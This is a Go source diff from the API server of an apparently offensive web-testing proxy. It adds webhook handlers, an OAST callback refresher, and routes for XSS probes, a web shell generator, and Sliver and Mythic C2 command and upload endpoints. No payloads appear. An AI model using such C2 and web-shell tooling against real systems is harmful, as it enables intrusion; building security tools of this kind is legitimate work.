// resend, so a plain round trip cannot wipe a signing key the operator can no longer see.
// requireWebhooks reports whether the webhook store is available, writing the JSON 404 if not.
//
// Two ways to be off, and the message names which: --no-webhooks is a deployment posture, an
// unreadable webhooks.json is a fault. An operator sent to the wrong one has been told
// something worse than nothing.
//
// It returns a JSON 404 rather than being left unregistered, because an unregistered route
// falls through to the SPA catch-all and answers 200 with a page of HTML.
func (s *APIServer) requireWebhooks(w http.ResponseWriter) *webhook.Store {
if s.cfg.NoWebhooks {
writeError(w, http.StatusNotFound,
"webhooks are disabled on this instance; it was started with --no-webhooks")
return nil
}
if s.webhooks == nil {
writeError(w, http.StatusNotFound,
"webhooks are unavailable on this instance; see the startup log for why "+
"~/.joro/webhooks.json could not be read")
return nil
}
return s.webhooks
}
// webhookRow is one webhook as the API returns it: no secret values, and a note of which are
// set so the editor can show a field as filled without ever holding what fills it.
type webhookRow struct {
webhook.Webhook
HasAuthSecret bool `json:"hasAuthSecret"`
HasSigningSecret bool `json:"hasSigningSecret"`
// SecretHeaders names the custom headers that have a stored value. A list rather than a
// flag on Header, so nothing about presentation ends up in webhooks.json.
SecretHeaders []string `json:"secretHeaders"`
}
// redact strips every secret out of a webhook on the way to the client.
func redactWebhook(w webhook.Webhook) webhookRow {
row := webhookRow{
HasAuthSecret: w.Auth.Token != "",
HasSigningSecret: w.Signing.Secret != "",
SecretHeaders: []string{},
}
w.Auth.Token = ""
w.Signing.Secret = ""
headers := make([]webhook.Header, len(w.Headers))
for i, h := range w.Headers {
if h.Value != "" {
row.SecretHeaders = append(row.SecretHeaders, h.Name)
}
headers[i] = webhook.Header{Name: h.Name}
}
w.Headers = headers
row.Webhook = w
return row
}
func (s *APIServer) handleListWebhooks(w http.ResponseWriter, r *http.Request) {
store := s.requireWebhooks(w)
if store == nil {
return
}
all := store.List()
rows := make([]webhookRow, 0, len(all))
for _, hook := range all {
rows = append(rows, redactWebhook(hook))
}
writeJSON(w, http.StatusOK, map[string]any{
"webhooks": rows,
// The authoring vocabulary, served rather than restated in the frontend for the
// reason the trigger and command vocabularies are: a format or a placeholder added
// in Go appears in the editor with no client change, and the client can never offer
// something the server would refuse.
"formats": webhook.Formats,
"deliveries": webhook.Deliveries,
"authKinds": webhook.AuthKinds,
"methods": webhook.Methods,
"tokens": webhook.ReservedTokens(),
"fields": webhook.SubstitutableFields(dispatchedEvents()),
"limits": map[string]int{
"webhooks": webhook.MaxWebhooks,
"triggers": webhook.MaxTriggerRefs,
"headers": webhook.MaxHeaders,
"templateBytes": webhook.MaxTemplateLen,
"timeoutMs": webhook.MaxTimeoutMs,
"retries": webhook.MaxRetries,
"minIntervalMs": webhook.MaxMinIntervalMs,
},
})
}
// dispatchedEvents lists the events a webhook can actually watch.
//
// Filtered rather than trigger.Events wholesale: manual and request.selected are started by
// hand, so offering either would be a switch that does nothing.
func dispatchedEvents() []string {
var out []string
for _, e := range trigger.Events {
if trigger.Dispatched(e) {
out = append(out, e)
}
}
return out
}
func (s *APIServer) handleGetWebhook(w http.ResponseWriter, r *http.Request) {
store := s.requireWebhooks(w)
if store == nil {
return
}
hook, err := store.Get(r.PathValue("id"))
if err != nil {
writeWebhookError(w, err)
return
}
writeJSON(w, http.StatusOK, redactWebhook(hook))
}
func (s *APIServer) handleCreateWebhook(w http.ResponseWriter, r *http.Request) {
store := s.requireWebhooks(w)
if store == nil {
return
}
var body webhook.Webhook
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
created, err := store.Create(body)
if err != nil {
writeWebhookError(w, err)
return
}
writeJSON(w, http.StatusOK, redactWebhook(created))
}
func (s *APIServer) handleUpdateWebhook(w http.ResponseWriter, r *http.Request) {
store := s.requireWebhooks(w)
if store == nil {
return
}
var body webhook.Webhook
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
updated, err := store.Update(r.PathValue("id"), body)
if err != nil {
writeWebhookError(w, err)
return
}
writeJSON(w, http.StatusOK, redactWebhook(updated))
}
func (s *APIServer) handleDeleteWebhook(w http.ResponseWriter, r *http.Request) {
store := s.requireWebhooks(w)
if store == nil {
return
}
id := r.PathValue("id")
if err := store.Delete(id); err != nil {
writeWebhookError(w, err)
return
}
s.webhookDeliver.Forget(id)
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
}
// handleSetWebhookEnabled is the rail's per-row switch.
//
// Switching one on also clears a pause, because that is what an operator means by turning a
// tripped webhook back on. Leaving Paused set would make the switch appear to do nothing.
func (s *APIServer) handleSetWebhookEnabled(w http.ResponseWriter, r *http.Request) {
store := s.requireWebhooks(w)
if store == nil {
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
updated, err := store.SetState(r.PathValue("id"), func(hook *webhook.Webhook) {
hook.Enabled = body.Enabled
if body.Enabled {
hook.Paused, hook.PausedReason = false, ""
}
})
if err != nil {
writeWebhookError(w, err)
return
}
writeJSON(w, http.StatusOK, redactWebhook(updated))
}
// handleTestWebhook renders a sample event and delivers it.
//
// A real request to the real endpoint, not a preview. What an operator gets wrong is the
// destination, the auth and the body shape, and only sending finds all three — so the response
// carries the exact bytes sent alongside what came back.
//
// A delivery that the endpoint rejects is a 200 carrying the status and the error, not an HTTP
// error: the request was well-formed and the answer is about the endpoint, which is what the
// editor renders either way.
func (s *APIServer) handleTestWebhook(w http.ResponseWriter, r *http.Request) {
if s.requireWebhooks(w) == nil {
return
}
// Bounded independently of the webhook's own timeout, so a receiver that accepts the
// connection and never answers cannot hold an operator's request open.
ctx, cancel := context.WithTimeout(r.Context(), 90*time.Second)
defer cancel()
res, err := s.webhookDeliver.Test(ctx, r.PathValue("id"))
if err != nil {
writeWebhookError(w, err)
return
}
writeJSON(w, http.StatusOK, res)
}
func (s *APIServer) handleListWebhookDeliveries(w http.ResponseWriter, r *http.Request) {
if s.requireWebhooks(w) == nil {
return
}
writeJSON(w, http.StatusOK, map[string]any{
"deliveries": s.webhookDeliver.Log(r.PathValue("id")),
})
}
func writeWebhookError(w http.ResponseWriter, err error) {
switch {
case errors.Is(err, webhook.ErrNotFound):
writeError(w, http.StatusNotFound, "no such webhook")
case errors.Is(err, webhook.ErrExists):
writeError(w, http.StatusConflict, err.Error())
default:
writeError(w, http.StatusBadRequest, err.Error())
}
}
+10 -4
View File
@@ -33,7 +33,7 @@ func (s *APIServer) handleCreateProbe(w http.ResponseWriter, r *http.Request) {
var body struct {
Name string `json:"name"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -74,7 +74,7 @@ func (s *APIServer) handleGetPayloads(w http.ResponseWriter, r *http.Request) {
cfg, _ := s.cbStore.GetConfig()
domain := cfg.Domain
if domain == "" {
writeError(w, http.StatusBadRequest, "callback domain not configured - set it in the Interact tab")
writeError(w, http.StatusBadRequest, "callback domain not configured - start the listener with --domain")
return
}
@@ -183,7 +183,7 @@ func (s *APIServer) handleUpdateProbe(w http.ResponseWriter, r *http.Request) {
CollectPages []string `json:"collectPages"`
ChainloadURI string `json:"chainloadUri"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -239,6 +239,12 @@ func (s *APIServer) handleGetCollectedPage(w http.ResponseWriter, r *http.Reques
writeJSON(w, http.StatusOK, page)
}
// The xss_collect_pages / xss_chainload_uri keys are a global default beneath the per-probe
// collect pages and chainload URI, applied by the probe handler when a probe sets neither.
// These two endpoints are the only way to read or change that tier — the UI configures
// probes individually and offers no control for it — so removing them would leave a value
// already in callbacks.db applying to every such probe with no way to inspect or clear it.
// A PUT with an empty collectPages is the clear operation.
func (s *APIServer) handleGetXSSConfig(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
@@ -272,7 +278,7 @@ func (s *APIServer) handleUpdateXSSConfig(w http.ResponseWriter, r *http.Request
CollectPages []string `json:"collectPages"`
ChainloadURI string `json:"chainloadUri"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+97
View File
@@ -0,0 +1,97 @@
package api
import (
"context"
"encoding/json"
"net/http"
"strings"
"time"
)
// StartOASTLoop launches the out-of-band confirmer and the domain refresher. Like
// the echo and tech loops it runs unconditionally and no-ops per cycle while the
// callback domain is unknown, so configuring a listener later needs no restart.
func (s *APIServer) StartOASTLoop(ctx context.Context) {
if s.oastEngine == nil {
return
}
go s.oastEngine.Run(ctx)
go s.refreshOASTDomain(ctx)
}
// callbackDomainForOAST is the domain the confirmer harvests callback tokens
// under. Read every cycle so a domain learned from the listener takes effect live.
func (s *APIServer) callbackDomainForOAST() string {
s.mu.RLock()
defer s.mu.RUnlock()
return s.oastDomain
}
// refreshOASTDomain keeps oastDomain current. A local --domain is authoritative
// and needs no fetch; otherwise, when a listener URL is configured, it fills the
// domain in from the listener's callback config on an interval. Best-effort: a
// failed or unconfigured fetch simply leaves the confirmer idle.
func (s *APIServer) refreshOASTDomain(ctx context.Context) {
s.mu.RLock()
local := s.cfg.CallbackDomain
s.mu.RUnlock()
if local != "" {
return
}
t := time.NewTicker(30 * time.Second)
defer t.Stop()
s.fetchOASTDomain(ctx)
for {
select {
case <-ctx.Done():
return
case <-t.C:
s.fetchOASTDomain(ctx)
}
}
}
// fetchOASTDomain reads the callback domain from the configured listener and
// caches it. No-op when no listener URL is set.
func (s *APIServer) fetchOASTDomain(ctx context.Context) {
s.mu.RLock()
listenerURL := s.settings.ListenerURL
teamToken := s.settings.TeamToken
teamNickname := s.settings.TeamNickname
s.mu.RUnlock()
if listenerURL == "" {
return
}
url := strings.TrimRight(listenerURL, "/") + "/api/v1/callbacks/config"
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
if err != nil {
return
}
if teamToken != "" {
req.Header.Set("Authorization", "Bearer "+teamToken)
}
if teamNickname != "" {
req.Header.Set("X-Joro-Nickname", teamNickname)
}
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Do(req)
if err != nil {
return
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return
}
var cfg struct {
Domain string `json:"domain"`
}
if json.NewDecoder(resp.Body).Decode(&cfg) != nil || cfg.Domain == "" {
return
}
s.mu.Lock()
s.oastDomain = cfg.Domain
s.mu.Unlock()
}
+14
View File
@@ -37,6 +37,20 @@ func originGuard(bindAddr string, allowedHosts []string, next http.Handler) http
})
}
// uiOriginHeader is set on every request by web/src/lib/api.ts.
const uiOriginHeader = "X-Joro-Origin"
// requireLocalOrigin reports whether the request carries uiOriginHeader, writing the 403
// itself and returning false when the caller should stop. Required on the routes that
// decode no JSON body: the multipart uploads and the body-less POSTs.
func requireLocalOrigin(w http.ResponseWriter, r *http.Request) bool {
if r.Header.Get(uiOriginHeader) == "" {
writeError(w, http.StatusForbidden, "forbidden: missing "+uiOriginHeader+" header")
return false
}
return true
}
func isMutating(method string) bool {
switch method {
case http.MethodPost, http.MethodPut, http.MethodDelete, http.MethodPatch:
+236 -2
View File
@@ -26,7 +26,7 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/callbacks/interactions", s.handleListInteractions)
mux.HandleFunc("DELETE /api/v1/callbacks/interactions", s.handleClearInteractions)
mux.HandleFunc("GET /api/v1/callbacks/config", s.handleGetCallbackConfig)
mux.HandleFunc("PUT /api/v1/callbacks/config", s.handleUpdateCallbackConfig)
mux.HandleFunc("POST /api/v1/callbacks/verify", s.handleVerifyCallback)
// XSS Hunter routes (both modes - handler logic differs per mode)
mux.HandleFunc("GET /api/v1/xss/probes", s.handleListProbes)
@@ -80,15 +80,23 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
// Sitemap
mux.HandleFunc("GET /api/v1/sitemap", s.handleGetSitemap)
mux.HandleFunc("DELETE /api/v1/sitemap", s.handleDeleteSitemap)
// The parameter inventory behind a node. UI-only for the reason stated on the
// echo block below: a row names a parameter and an example of its value.
mux.HandleFunc("GET /api/v1/sitemap/params", s.handleGetSitemapParams)
// HTTP history
mux.HandleFunc("GET /api/v1/requests", s.handleListRequests)
mux.HandleFunc("GET /api/v1/requests/{id}", s.handleGetRequest)
mux.HandleFunc("GET /api/v1/requests/{id}/params", s.handleGetRequestParams)
mux.HandleFunc("DELETE /api/v1/requests", s.handleClearRequests)
mux.HandleFunc("DELETE /api/v1/requests/by-host", s.handleDeleteRequestsByHost)
// Intercept
mux.HandleFunc("GET /api/v1/intercept", s.handleGetInterceptQueue)
mux.HandleFunc("PUT /api/v1/intercept/enabled", s.handleToggleIntercept)
mux.HandleFunc("PUT /api/v1/intercept/responses", s.handleToggleInterceptResponses)
mux.HandleFunc("POST /api/v1/intercept/release", s.handleReleaseIntercepts)
mux.HandleFunc("POST /api/v1/intercept/{id}/forward", s.handleForwardRequest)
mux.HandleFunc("POST /api/v1/intercept/{id}/drop", s.handleDropRequest)
@@ -106,6 +114,135 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/fuzzer/campaigns/{id}/results/{index}", s.handleFuzzerGetResult)
mux.HandleFunc("DELETE /api/v1/fuzzer/campaigns/{id}", s.handleFuzzerDeleteCampaign)
mux.HandleFunc("POST /api/v1/fuzzer/wordlist", s.handleFuzzerUploadWordlist)
mux.HandleFunc("GET /api/v1/fuzzer/wordlists", s.handleFuzzerListWordlists)
mux.HandleFunc("POST /api/v1/fuzzer/wordlist/preview", s.handleFuzzerPreviewSource)
// API description documents (the SJ tab). Loads a Swagger/OpenAPI document,
// renders each operation to raw bytes, and drives scans, auth-profile
// matrices and document discovery — all through Joro's own proxy, so every
// request lands in History, Detect and the site map.
//
// UI-only, like the fuzzer: none of these are capabilities and none need an
// automation flag. "Send every operation in this document" is a large, loud
// send primitive, and capreg.Deps gaining a field is documented as the change
// that breaks the automation trust boundary.
mux.HandleFunc("POST /api/v1/spec/load", s.handleSpecLoad)
mux.HandleFunc("GET /api/v1/spec/specs", s.handleSpecList)
mux.HandleFunc("GET /api/v1/spec/specs/{id}", s.handleSpecGet)
mux.HandleFunc("GET /api/v1/spec/specs/{id}/source", s.handleSpecGetSource)
mux.HandleFunc("PUT /api/v1/spec/specs/{id}/placeholders", s.handleSpecSetPlaceholders)
mux.HandleFunc("DELETE /api/v1/spec/specs/{id}", s.handleSpecDelete)
mux.HandleFunc("POST /api/v1/spec/render", s.handleSpecRender)
mux.HandleFunc("POST /api/v1/spec/send", s.handleSpecSend)
mux.HandleFunc("GET /api/v1/spec/profiles", s.handleSpecListProfiles)
mux.HandleFunc("PUT /api/v1/spec/profiles", s.handleSpecSetProfiles)
mux.HandleFunc("POST /api/v1/spec/scan", s.handleSpecScanStart)
mux.HandleFunc("POST /api/v1/spec/discover", s.handleSpecDiscoverStart)
mux.HandleFunc("GET /api/v1/spec/runs", s.handleSpecListRuns)
mux.HandleFunc("GET /api/v1/spec/runs/{id}", s.handleSpecGetRun)
mux.HandleFunc("GET /api/v1/spec/runs/{id}/matrix", s.handleSpecGetMatrix)
mux.HandleFunc("GET /api/v1/spec/runs/{id}/results/{index}", s.handleSpecGetResult)
mux.HandleFunc("POST /api/v1/spec/runs/{id}/stop", s.handleSpecStopRun)
mux.HandleFunc("DELETE /api/v1/spec/runs/{id}", s.handleSpecDeleteRun)
// Multi-step workflows (the Chain tab). Records an ordered chain of captured
// requests plus the data dependencies between them, then replays it with a
// step omitted, repeated or moved to test whether the application enforces
// its own sequence.
//
// UI-only, for the reason the SJ block above gives, and more so: a sweep is
// every variant times every step of real, state-changing traffic — orders
// placed, mail sent — which is the loudest send primitive in the product and
// the last thing that should be reachable from a token.
mux.HandleFunc("GET /api/v1/chain/chains", s.handleChainListChains)
mux.HandleFunc("POST /api/v1/chain/chains", s.handleChainCreateChain)
mux.HandleFunc("GET /api/v1/chain/chains/{id}", s.handleChainGetChain)
mux.HandleFunc("PUT /api/v1/chain/chains/{id}", s.handleChainUpdateChain)
mux.HandleFunc("DELETE /api/v1/chain/chains/{id}", s.handleChainDeleteChain)
mux.HandleFunc("POST /api/v1/chain/chains/from-history", s.handleChainFromHistory)
mux.HandleFunc("POST /api/v1/chain/chains/{id}/correlate", s.handleChainCorrelate)
mux.HandleFunc("POST /api/v1/chain/chains/{id}/bind-preview", s.handleChainBindPreview)
mux.HandleFunc("GET /api/v1/chain/chains/{id}/steps/{stepId}/response", s.handleChainStepResponse)
mux.HandleFunc("POST /api/v1/chain/chains/{id}/preview", s.handleChainPreview)
mux.HandleFunc("GET /api/v1/chain/chains/{id}/plan", s.handleChainPlan)
mux.HandleFunc("POST /api/v1/chain/record/start", s.handleChainRecordStart)
mux.HandleFunc("POST /api/v1/chain/record/stop", s.handleChainRecordStop)
mux.HandleFunc("POST /api/v1/chain/runs", s.handleChainRunStart)
mux.HandleFunc("GET /api/v1/chain/runs", s.handleChainListRuns)
mux.HandleFunc("GET /api/v1/chain/runs/{id}", s.handleChainGetRun)
mux.HandleFunc("GET /api/v1/chain/runs/{id}/grid", s.handleChainGetGrid)
mux.HandleFunc("GET /api/v1/chain/runs/{id}/results/{index}", s.handleChainGetResult)
mux.HandleFunc("POST /api/v1/chain/runs/{id}/stop", s.handleChainStopRun)
mux.HandleFunc("DELETE /api/v1/chain/runs/{id}", s.handleChainDeleteRun)
// Active scanning. Operator-initiated rules that drive a target and file
// findings into Detect; DOM XSS is the first. Scope-respecting (a scan with
// scope off is never rejected), proxy-mode only, one run at a time.
mux.HandleFunc("GET /api/v1/activescan/rules", s.handleActiveScanRules)
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/enabled", s.handleSetActiveScanRuleEnabled)
mux.HandleFunc("GET /api/v1/activescan/rules/{id}/signatures", s.handleActiveScanSignatures)
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/signatures/enabled", s.handleSetActiveScanSignaturesBulk)
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/signatures/{itemId}/enabled", s.handleSetActiveScanSignatureEnabled)
mux.HandleFunc("POST /api/v1/activescan/runs", s.handleActiveScanStart)
mux.HandleFunc("GET /api/v1/activescan/runs", s.handleActiveScanListRuns)
mux.HandleFunc("GET /api/v1/activescan/runs/{id}", s.handleActiveScanGetRun)
mux.HandleFunc("POST /api/v1/activescan/runs/{id}/stop", s.handleActiveScanStopRun)
mux.HandleFunc("DELETE /api/v1/activescan/runs/{id}", s.handleActiveScanDeleteRun)
// Passive detection. Unlike the other rule collections below, detect rules
// have a PUT (a rule's ID is referenced by every finding it produced) and a
// test endpoint.
mux.HandleFunc("GET /api/v1/detect", s.handleGetDetect)
mux.HandleFunc("PUT /api/v1/detect/enabled", s.handleSetDetectEnabled)
mux.HandleFunc("GET /api/v1/detect/config", s.handleGetDetectConfig)
mux.HandleFunc("PUT /api/v1/detect/config", s.handleSetDetectConfig)
mux.HandleFunc("GET /api/v1/detect/findings", s.handleListFindings)
mux.HandleFunc("DELETE /api/v1/detect/findings", s.handleClearFindings)
mux.HandleFunc("GET /api/v1/detect/findings/{id}", s.handleGetFinding)
mux.HandleFunc("PUT /api/v1/detect/findings/{id}", s.handleUpdateFinding)
mux.HandleFunc("DELETE /api/v1/detect/findings/{id}", s.handleDeleteFinding)
mux.HandleFunc("GET /api/v1/detect/rules", s.handleListDetectRules)
mux.HandleFunc("POST /api/v1/detect/rules", s.handleAddDetectRule)
mux.HandleFunc("POST /api/v1/detect/rules/test", s.handleTestDetectRule)
mux.HandleFunc("PUT /api/v1/detect/rules/{id}", s.handleUpdateDetectRule)
mux.HandleFunc("DELETE /api/v1/detect/rules/{id}", s.handleDeleteDetectRule)
mux.HandleFunc("PUT /api/v1/detect/rules/{id}/enabled", s.handleSetDetectRuleEnabled)
mux.HandleFunc("PUT /api/v1/detect/rules/{id}/severity", s.handleSetDetectRuleSeverity)
mux.HandleFunc("POST /api/v1/detect/rules/{id}/reset", s.handleResetDetectRule)
mux.HandleFunc("POST /api/v1/detect/scan", s.handleStartDetectScan)
mux.HandleFunc("GET /api/v1/detect/scan", s.handleGetDetectScan)
mux.HandleFunc("POST /api/v1/detect/scan/cancel", s.handleCancelDetectScan)
// Reflection mapping (the Echo tab). Records every value a request sent and
// every place it comes back in the response, with the transform it came back
// through and the context it landed in.
//
// UI-only, like the blocks above, though it sends nothing at all: the map is
// a read of captured traffic. It stays off the capability surface because a
// row names a parameter and its value, which is where an application puts
// session tokens and personal data, and a token that could enumerate the map
// would be reading every credential that crossed the proxy.
mux.HandleFunc("GET /api/v1/echo", s.handleGetEcho)
mux.HandleFunc("PUT /api/v1/echo/enabled", s.handleSetEchoEnabled)
mux.HandleFunc("GET /api/v1/echo/config", s.handleGetEchoConfig)
mux.HandleFunc("PUT /api/v1/echo/config", s.handleSetEchoConfig)
mux.HandleFunc("GET /api/v1/echo/params", s.handleListEchoParams)
mux.HandleFunc("GET /api/v1/echo/params/{id}", s.handleGetEchoParam)
mux.HandleFunc("GET /api/v1/echo/requests/{requestId}", s.handleGetEchoRequest)
mux.HandleFunc("DELETE /api/v1/echo/data", s.handleClearEcho)
mux.HandleFunc("POST /api/v1/echo/scan", s.handleStartEchoScan)
mux.HandleFunc("GET /api/v1/echo/scan", s.handleGetEchoScan)
mux.HandleFunc("POST /api/v1/echo/scan/cancel", s.handleCancelEchoScan)
// Technology fingerprinting (the embedded Wappalyzer database). UI-only, like
// echo: a passive read of captured traffic that names the stack each host
// serves, which the active-scan rule reads to gate its checks.
mux.HandleFunc("GET /api/v1/tech/hosts", s.handleListTechHosts)
mux.HandleFunc("GET /api/v1/tech/hosts/{host}", s.handleGetTechHost)
mux.HandleFunc("PUT /api/v1/tech/enabled", s.handleSetTechEnabled)
mux.HandleFunc("POST /api/v1/tech/scan", s.handleStartTechScan)
mux.HandleFunc("GET /api/v1/tech/scan", s.handleGetTechScan)
mux.HandleFunc("POST /api/v1/tech/scan/cancel", s.handleCancelTechScan)
// Web shell generator
mux.HandleFunc("POST /api/v1/generate", s.handleGenerate)
@@ -117,6 +254,7 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/scope", s.handleGetScope)
mux.HandleFunc("PUT /api/v1/scope/enabled", s.handleSetScopeEnabled)
mux.HandleFunc("POST /api/v1/scope/rules", s.handleAddScopeRule)
mux.HandleFunc("POST /api/v1/scope/rules/import", s.handleImportScopeRules)
mux.HandleFunc("DELETE /api/v1/scope/rules/{id}", s.handleDeleteScopeRule)
// Noise filter
@@ -129,21 +267,25 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/replace", s.handleGetReplace)
mux.HandleFunc("PUT /api/v1/replace/enabled", s.handleSetReplaceEnabled)
mux.HandleFunc("POST /api/v1/replace/rules", s.handleAddReplaceRule)
mux.HandleFunc("PUT /api/v1/replace/rules/{id}/enabled", s.handleSetReplaceRuleEnabled)
mux.HandleFunc("DELETE /api/v1/replace/rules/{id}", s.handleDeleteReplaceRule)
// Custom Data
mux.HandleFunc("GET /api/v1/customdata", s.handleGetCustomData)
mux.HandleFunc("PUT /api/v1/customdata/enabled", s.handleSetCustomDataEnabled)
mux.HandleFunc("POST /api/v1/customdata/items", s.handleAddCustomDataItem)
mux.HandleFunc("PUT /api/v1/customdata/items/{id}/enabled", s.handleSetCustomDataItemEnabled)
mux.HandleFunc("DELETE /api/v1/customdata/items/{id}", s.handleDeleteCustomDataItem)
// Config save/load
mux.HandleFunc("GET /api/v1/configs/user", s.handleListUserConfigs)
mux.HandleFunc("POST /api/v1/configs/user", s.handleSaveUserConfig)
mux.HandleFunc("PUT /api/v1/configs/user/{name}", s.handleLoadUserConfig)
mux.HandleFunc("DELETE /api/v1/configs/user/{name}", s.handleDeleteUserConfig)
mux.HandleFunc("GET /api/v1/configs/project", s.handleListProjectConfigs)
mux.HandleFunc("POST /api/v1/configs/project", s.handleSaveProjectConfig)
mux.HandleFunc("POST /api/v1/configs/project/switch", s.handleSwitchProject)
mux.HandleFunc("POST /api/v1/configs/project/prefs", s.handleSetProjectPrefs)
mux.HandleFunc("POST /api/v1/configs/project/new", s.handleNewProject)
mux.HandleFunc("PUT /api/v1/configs/project/{name}", s.handleLoadProjectConfig)
mux.HandleFunc("DELETE /api/v1/configs/project/{name}", s.handleDeleteProjectConfig)
mux.HandleFunc("GET /api/v1/configs/export", s.handleExportProjectConfig)
@@ -169,6 +311,15 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/sliver/download/{id}", s.handleSliverDownload)
mux.HandleFunc("POST /api/v1/sliver/upload", s.handleSliverUpload)
// Mythic C2
mux.HandleFunc("GET /api/v1/mythic/status", s.handleMythicStatus)
mux.HandleFunc("POST /api/v1/mythic/connect", s.handleMythicConnect)
mux.HandleFunc("POST /api/v1/mythic/disconnect", s.handleMythicDisconnect)
mux.HandleFunc("GET /api/v1/mythic/callbacks", s.handleMythicCallbacks)
mux.HandleFunc("POST /api/v1/mythic/command", s.handleMythicCommand)
mux.HandleFunc("GET /api/v1/mythic/download/{id}", s.handleMythicDownload)
mux.HandleFunc("POST /api/v1/mythic/upload", s.handleMythicUpload)
// Notes
mux.HandleFunc("GET /api/v1/notes/hosts", s.handleListNoteHosts)
mux.HandleFunc("GET /api/v1/notes", s.handleListNotes)
@@ -179,6 +330,14 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
// CA cert download
mux.HandleFunc("GET /api/v1/certs/ca.crt", s.handleDownloadCACert)
// Managed testing browser
mux.HandleFunc("GET /api/v1/browser/status", s.handleBrowserStatus)
mux.HandleFunc("POST /api/v1/browser/launch", s.handleBrowserLaunch)
mux.HandleFunc("POST /api/v1/browser/clear-cookies", s.handleClearBrowserCookies)
// Health check (first-run wizard)
mux.HandleFunc("GET /api/v1/system/healthcheck", s.handleHealthCheck)
// Team routes (proxy-side, forwarded to teamserver via proxyToListener).
mux.HandleFunc("GET /api/v1/team/chat", s.handleProxyTeamChat)
mux.HandleFunc("POST /api/v1/team/chat", s.handleProxyTeamChat)
@@ -201,6 +360,81 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/team/collab/{id}", s.handleProxyTeamCollab)
mux.HandleFunc("POST /api/v1/team/collab/{id}/accept", s.handleProxyTeamCollab)
// Automation: bearer tokens, their capability grants, the activity log, and
// the MCP listener toggle.
//
// Registered unconditionally, with every handler gated on requireAutomation,
// which returns a JSON 404. Leaving them unregistered when automation is off
// would instead hand the request to the SPA catch-all, so the frontend would
// receive 200 and a page of HTML where it expected JSON — an unregistered
// route is not a 404 in this server.
//
// These are UI-only and are deliberately not capabilities. An automation
// client reaches Joro through the MCP listener on a different port, whose mux
// has no /api/v1/* routes at all, so a bearer token has no path to this block.
{
mux.HandleFunc("GET /api/v1/automation/tokens", s.handleListAutomationTokens)
mux.HandleFunc("POST /api/v1/automation/tokens", s.handleCreateAutomationToken)
mux.HandleFunc("PUT /api/v1/automation/tokens/{id}", s.handleUpdateAutomationToken)
mux.HandleFunc("POST /api/v1/automation/tokens/{id}/rotate", s.handleRotateAutomationToken)
mux.HandleFunc("PUT /api/v1/automation/tokens/{id}/enabled", s.handleSetAutomationTokenEnabled)
mux.HandleFunc("POST /api/v1/automation/tokens/{id}/reviewed", s.handleReviewAutomationToken)
mux.HandleFunc("DELETE /api/v1/automation/tokens/{id}", s.handleRevokeAutomationToken)
mux.HandleFunc("GET /api/v1/automation/capabilities", s.handleListCapabilities)
mux.HandleFunc("GET /api/v1/automation/audit", s.handleListAutomationAudit)
mux.HandleFunc("DELETE /api/v1/automation/audit", s.handleClearAutomationAudit)
mux.HandleFunc("GET /api/v1/automation/mcp", s.handleGetMCPState)
mux.HandleFunc("PUT /api/v1/automation/mcp", s.handleSetMCPState)
mux.HandleFunc("GET /api/v1/automation/runs", s.handleListScriptRuns)
mux.HandleFunc("GET /api/v1/automation/runs/{id}", s.handleGetScriptRun)
// {name...} rather than {name}: a command's artifacts can sit in a directory it
// created, so the remainder of the path is the file name. jsautomation.ArtifactPath
// is what refuses one that would escape the run's own directory.
mux.HandleFunc("GET /api/v1/automation/runs/{id}/artifacts/{name...}", s.handleGetRunArtifact)
mux.HandleFunc("POST /api/v1/automation/runs", s.handleRunScript)
mux.HandleFunc("DELETE /api/v1/automation/runs", s.handleClearScriptRuns)
mux.HandleFunc("GET /api/v1/automation/scripts", s.handleListScripts)
mux.HandleFunc("POST /api/v1/automation/scripts", s.handleInstallScript)
mux.HandleFunc("GET /api/v1/automation/scripts/{id}", s.handleGetScript)
mux.HandleFunc("PUT /api/v1/automation/scripts/{id}", s.handleUpdateScript)
mux.HandleFunc("DELETE /api/v1/automation/scripts/{id}", s.handleDeleteScript)
mux.HandleFunc("PUT /api/v1/automation/scripts/{id}/enabled", s.handleSetScriptEnabled)
mux.HandleFunc("PUT /api/v1/automation/scripts/{id}/prefs", s.handleSetScriptPrefs)
mux.HandleFunc("GET /api/v1/automation/triggers", s.handleListTriggers)
mux.HandleFunc("POST /api/v1/automation/triggers", s.handleCreateTrigger)
mux.HandleFunc("POST /api/v1/automation/triggers/test", s.handleTestTrigger)
mux.HandleFunc("GET /api/v1/automation/triggers/seed", s.handleSeedTrigger)
mux.HandleFunc("GET /api/v1/automation/triggers/{id}", s.handleGetTrigger)
mux.HandleFunc("PUT /api/v1/automation/triggers/{id}", s.handleUpdateTrigger)
